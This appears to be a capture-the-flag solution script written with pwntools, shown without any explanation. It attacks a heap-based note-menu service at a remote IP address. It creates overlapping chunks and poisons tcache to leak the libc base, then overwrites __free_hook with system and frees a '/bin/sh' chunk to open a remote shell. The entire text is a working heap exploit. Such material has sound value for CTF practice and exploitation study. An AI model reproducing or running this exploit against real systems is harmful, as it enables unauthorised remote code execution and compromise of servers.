1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import *
p=remote("139.196.183.57",30703) elf=ELF("./vuln") def add_note(index,size,payload): p.sendlineafter("Your choice:",str(1)) p.sendlineafter("Index: ",str(index)) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",payload) def delete(index): p.sendlineafter("Your choice:",str(3)) p.sendlineafter("Index: ",str(index)) def show(index): p.sendlineafter("Your choice:",str(2)) p.sendlineafter("Index: ",str(index)) def exit(): p.sendlineafter("Your choice:",str(4))
for i in range(7): add_note(i,0xf8,b"a"*0xf8) add_note(7,0xf8,b"a"*0xf8) add_note(8,0xf8,b"a"*0xf8) add_note(9,0xf8,b"a"*0xf8) add_note(10,0xf0,b"a"*0xf0)
add_note(11,0x10,b"a"*0x10) for i in range(7): delete(i) delete(8) add_note(6,0xf0,b"a"*0xf0) delete(9) add_note(9,0xf8,0xf0*b"a"+p64(0x200)) delete(6) delete(10) for i in range(7): add_note(i,0xf0,b"a"*0xf0)
add_note(8,0xf8,b"a"*0xf0+p64(0x100)) show(9) offset=4111520 main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00")) libc_base=main_arena-offset print(hex(libc_base))
libc=ELF("./libc-2.27.so") free_hook=libc_base+libc.sym["__free_hook"]
add_note(12,0xf0,b"a"*0xf0) add_note(10,0xf0,b"a"*0xf0)
for i in range(6): delete(i) delete(12) delete(8) add_note(12,0xf8,0xf0*b"a"+p64(0x200)) delete(6) delete(10)
for i in range(4): add_note(i,0x30,b"a"*0x30) delete(7) add_note(4,0x30,b"a"*0x30) for i in range(3): add_note(i+5,0x30,b"a"*0x30) add_note(13,0x30,b"a"*0x30) add_note(8,0x30,b"a"*0x30) delete(8) for i in range(4): delete(i) for i in range(5,7): delete(i) delete(9) delete(7) delete(13) for i in range(4): add_note(i,0x30,b"a"*0x30) for i in range(5,7): add_note(i,0x30,b"a"*0x30) payload=p64(free_hook) add_note(7,0x30,p64(free_hook)) sleep(0.25) add_note(8,0x30,p64(free_hook)) sleep(0.25) add_note(9,0x30,b"a"*0x30) add_note(10,0x30,b"/bin/sh\x00") sleep(0.25) system=libc_base+libc.sym["system"] add_note(13,0x30,p64(system)) delete(10)
p.interactive()
|